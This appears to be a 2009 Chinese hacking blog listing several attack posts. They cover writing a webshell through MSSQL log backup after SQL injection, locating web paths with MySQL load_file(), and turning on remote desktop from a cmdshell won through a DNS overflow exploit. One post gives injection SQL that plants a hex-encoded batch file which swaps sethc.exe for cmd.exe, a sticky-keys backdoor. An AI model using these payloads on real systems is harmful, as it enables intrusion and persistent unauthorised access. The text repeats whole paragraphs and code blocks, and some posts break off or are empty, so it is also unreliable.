LOG备份拿SHELL
作者:admin 日期:2009-11-16
dbowner 通过注射得到一个shell应该不是什么难事情了，比较麻烦的是就算利用增量备份，仍然有很多不确定的因素，如果之前别人有过什么错误的写入信息，可能备份出来得到的还是一些不能用的500错误，如何能够提高成功率及重用性呢？如果单从调整增量备份的方式来看，尽管能够达到一些效果，但是方法比较复杂而且效果不明显。加上关于重用性的考虑，例如多次备份的成功率，backupdatabase的方法并不太适用。这里将要讲述的是另外一个备份的方法，导出日志文件到web目录来获得shell。
获得webshell首先要知道物理路径。关于物理路径的暴露有很多方法，注入也可以得到，就不再多说。值得注意的是，如果数据库和web分离，这样肯定得不到webshell，备份出来的东西可以覆盖任何文件，一些关于开始菜单的想法还是有效的，只要注意扩展名就好。扯远了，反正如果数据库和web在一块的，你就有机会，反之还是想其他的办法吧。
然后你要得到当前的权限和数据库名。如果是sysadmin当然没有必要做很复杂的事情，dbowner足矣，public则不行。当前打开的库名用一个db_name()就可以得到，同样很简单。
默认的情况是，一般选择的数据库故障还原类型都是简单，这时候不能够对日志文件进行备份。然而我们都是dbowner了，还有什么不能做的呢，只要修改一下属性就可以。由于不能去企业管理器中修改，只有用一段SQL语句，很简单的，这样就可以：
获得webshell首先要知道物理路径。关于物理路径的暴露有很多方法，注入也可以得到，就不再多说。值得注意的是，如果数据库和web分离，这样肯定得不到webshell，备份出来的东西可以覆盖任何文件，一些关于开始菜单的想法还是有效的，只要注意扩展名就好。扯远了，反正如果数据库和web在一块的，你就有机会，反之还是想其他的办法吧。
然后你要得到当前的权限和数据库名。如果是sysadmin当然没有必要做很复杂的事情，dbowner足矣，public则不行。当前打开的库名用一个db_name()就可以得到，同样很简单。
默认的情况是，一般选择的数据库故障还原类型都是简单，这时候不能够对日志文件进行备份。然而我们都是dbowner了，还有什么不能做的呢，只要修改一下属性就可以。由于不能去企业管理器中修改，只有用一段SQL语句，很简单的，这样就可以：
备份BAT到启动项的那个脚本
作者:admin 日期:2009-11-16
/*利用Url或者sql查询器Log备份一句话或Bat*/
alter database [master] set RECOVERY FULL--
create table cmd (a image)--
backup log [master] to disk = 'c:\cmd1' with init--
insert into cmd (a) values (0x130A0D0A404563686F206F66660D0A406364202577696E646972250D0A4064656C20646972202F73202F612073657468632E6578650D0A40636F7079202577696E646972255C73797374656D33325C636D642E657865202577696E646972255C73797374656D33325C73657468632E657865202F790D0A40636F7079202577696E646972255C73797374656D33325C636D642E657865202577696E646972255C73797374656D33325C646C6C63616368655C73657468632E657865202F790D0A)--
alter database [master] set RECOVERY FULL--
create table cmd (a image)--
backup log [master] to disk = 'c:\cmd1' with init--
insert into cmd (a) values (0x130A0D0A404563686F206F66660D0A406364202577696E646972250D0A4064656C20646972202F73202F612073657468632E6578650D0A40636F7079202577696E646972255C73797374656D33325C636D642E657865202577696E646972255C73797374656D33325C73657468632E657865202F790D0A40636F7079202577696E646972255C73797374656D33325C636D642E657865202577696E646972255C73797374656D33325C646C6C63616368655C73657468632E657865202F790D0A)--
cmd下查看终端端口
作者:admin 日期:2009-11-16
MYSQL注入获取web路径的几个方法
作者:admin 日期:2009-11-16
我们在MYSQL注入的时候经常会碰到无法立即根据在注入点加单引号提交得到的返回信息来获得web目录,这个时候获得web路径就要费点劲了!针对这种情况,我介绍三种方法!load_file(char(47))查找部分*nix系统的目录。
a. 原理
由于load_file()函数相当于*nix中的cat函数,而在某些FreeBSD,Sunos系统中用cat / 命令可以列出根目录,而字符/ 的Ascii码是47,所以在MYSQL注入的时候可以试试用load_file(char(47))来查找web目录!这一方法的原理还可以参看安全天使（http://www.4ngel.net/）superhei的文章<<系统特性与web安全>>。
a. 原理
由于load_file()函数相当于*nix中的cat函数,而在某些FreeBSD,Sunos系统中用cat / 命令可以列出根目录,而字符/ 的Ascii码是47,所以在MYSQL注入的时候可以试试用load_file(char(47))来查找web目录!这一方法的原理还可以参看安全天使（http://www.4ngel.net/）superhei的文章<<系统特性与web安全>>。
提权整理贴
作者:admin 日期:2009-11-16
CMD下开启3389服务
作者:admin 日期:2009-11-16
一、缘起
近段时间微软出现的DNS溢出漏洞疯狂了一段时间，就是现在也还有许多服务器可以成功溢出。相信大家都有体验过溢出的经验了吧，嘿嘿。但是当我们溢出成功后，返回得到的就只有一个system权限的cmdshell。要是服务器开启了远程桌面服务，那我们直接加一个用户，再添加进管理员组，就可以登录服务器了。这样的话，拿下存在DNS溢出的服务器只是分秒间的事情。从溢出到得到服务器控制权花不了多少时间。不过，要是服务器本身没有开启远程桌面服务，就相对来说比较麻烦一点了。话虽如此，服务器本身没开，那我们就帮它开嘛，嘿嘿。
二、理论
在只有一个cmdshell的情况下，可能有不少菜菜不知道如何开启远程桌面服务。不过如果对远程桌面服务比较了解的话，应该知道开启它其实主要就是修改了注册表的某些键值来实现的。如何在cmdshell下修改注册表相关键值呢？根据系统的不同，方法也有些出入。Windows2000的服务器开户远程桌面服务一般都需要重启一次才能生效，Windows2003的服务器开启远程桌面服务就一般都不需要重启，直接更改注册表相关键值即可生效！据网上的资料来看，基本上都是先echo 一个*.reg注册表文件，再使用regedit /s *.reg命令导入注册表文件即可，当然2000的话还需要重启才生效。
三、实践
近段时间微软出现的DNS溢出漏洞疯狂了一段时间，就是现在也还有许多服务器可以成功溢出。相信大家都有体验过溢出的经验了吧，嘿嘿。但是当我们溢出成功后，返回得到的就只有一个system权限的cmdshell。要是服务器开启了远程桌面服务，那我们直接加一个用户，再添加进管理员组，就可以登录服务器了。这样的话，拿下存在DNS溢出的服务器只是分秒间的事情。从溢出到得到服务器控制权花不了多少时间。不过，要是服务器本身没有开启远程桌面服务，就相对来说比较麻烦一点了。话虽如此，服务器本身没开，那我们就帮它开嘛，嘿嘿。
二、理论
在只有一个cmdshell的情况下，可能有不少菜菜不知道如何开启远程桌面服务。不过如果对远程桌面服务比较了解的话，应该知道开启它其实主要就是修改了注册表的某些键值来实现的。如何在cmdshell下修改注册表相关键值呢？根据系统的不同，方法也有些出入。Windows2000的服务器开户远程桌面服务一般都需要重启一次才能生效，Windows2003的服务器开启远程桌面服务就一般都不需要重启，直接更改注册表相关键值即可生效！据网上的资料来看，基本上都是先echo 一个*.reg注册表文件，再使用regedit /s *.reg命令导入注册表文件即可，当然2000的话还需要重启才生效。
三、实践
